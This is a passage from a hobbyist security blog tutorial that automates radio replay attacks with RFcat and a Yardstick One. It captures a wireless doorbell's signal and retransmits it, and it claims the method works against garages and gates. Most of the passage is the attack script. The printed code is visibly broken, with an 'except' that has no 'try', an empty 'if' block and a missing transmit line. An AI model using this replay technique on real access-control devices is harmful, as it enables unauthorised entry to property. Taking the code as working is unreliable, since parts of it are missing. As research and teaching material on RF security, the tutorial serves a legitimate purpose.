  • Your parsed payloads in a nice list
  • Your payload being processed into hex. 
But this is where things go wrong, you then have :
  • Your nicely formatted Hex created by your code above (Yay for us) 
  • Then you have your manually pasted in hex from your original attack payloads as unprintable characters  (What?)

 You can clearly see there is a major difference between when we manually paste in our hex like we did in the last blog and when we create it from our capture file.  This led to another sleepless night of researching whats going on. I did a bunch of troubleshooting until I found some code on the RFcat site and saw it using the BitString library and something called BitArray.  The examples for this library were using binary data instead of hex and then converting it. 

BitString BitArray Formating FTW: 

If you remember above we created binary input with some python, so lets use that code in our current program template and then feed it into byteArray and see what happens. We can install bitstring with the following: 

Install Bitstring:
sudo pip install bitstring

Our New code using BitString: 
Line 2:   I imported bitstring
Line 25: I added a for loop to go through our payload list one by one
Line 27: I convert our current payload to binary
Line 28: I take that binary and I feed it into bitstring to fix the formatting issues
Lines 29-30:  Print out our binary and our new data that match our manually pasted data format, shown below

With these conversions the data above looks like its correct to attack our target devices. I know this seems like a lot of steps, but honestly this is only 50 lines of code in all to automate our replay attacks in a simple way.  It is also very easy if you know what your doing and don’t spend all of your time figuring it out like I did.  You just need to understand how to work with the types of data each component understands. 

With this latest code update we are ready to send our code with a simple modification to our RFxmit line from the last blog. We will now change RXxmit to take our formatted variable and then append our padding: 


Below is our full code to automate this attack, with a few changeups, but not many.. Really all I did was add some conditional statements to limit our data to longer payloads that are divisible by 2 since our hex takes 2 string characters for example \x41 is the string character 4 and 1.  I originally did this for the iterator code which required the proper amount of characters but decided to leave it since it makes sense anyway.  I also set it so that if there is a capture it breaks out of the loop. This way we are not continuously attacking every transmission we see. Instead for our testing we can hit our doorbell, replay all the values before our script finishes and exits. 

Note: I sent similar code to a friend and had him run it against a black box real world target. He had permission to attack this target via the owner of a facility and it worked flawlessly.  So although a doorbell is a trivial target. This same research applies to garages, gates, and any other signal not using protection mechanism such as rolling code, multiple frequencies at once etc.

Also note that when you run this, almost all of the payloads in your list will ring the doorbell which is why I put a timing variable before the sending command. This way your doorbell isn’t overburdened. I already broke a few of these devices during testing LOL. 
I have since modified this code to be more effective, and have additional features and more niceties, I will release that code when its ready.. For now enjoy the below code and hit me up with any questions or comments.

#————— ----------#
# @Ficti0n

from rflib import *
import time
import re
import bitstring

print("Listening for them signals in ASK")
d = RfCat()

#-----------Start Capture 1 Transmission ----------#
capture = ""
while (1):
        y, z = d.RFrecv()
        capture = y.encode('hex')
        print capture
    except ChipconUsbTimeoutException: 
    if capture:

#Parse Hex from the capture by reducing 0's
payloads = re.split ('0000*', capture)
print payloads

#----------Start Parse and Create Payload---------#
for payload in payloads: 
    formated = ""
    if (len(payload) > 6) and (len(payload) % 2 == 0):
        print "Currently being formatted to binary: " + payload 
        binary = bin(int(payload,16))[2:]
        print binary
        print "Converting binary to bytes: "
        formatted = bitstring.BitArray(bin=(binary)).tobytes()

#------------Send Transmission--------------------#
    print "Sending bytes with padding"
    print 'Transmission Complete'

Thats All Folks, Whats Next: 

I hope this blog is helpful in demystifying RFCat in order to successfully perform/automate attacks with only Python and your Yardstick One. This is essentially a few nights of my research posted here for everyone to learn from. Because it was a pain to find useful information, and I would like to save other people a lot of sleepless nights. I am by no means the master of RF or RFCat, there is tons more to learn.  Up next I will get back on track with a real world attack against a device and creating our own keyfobs to replay our attacks in the future.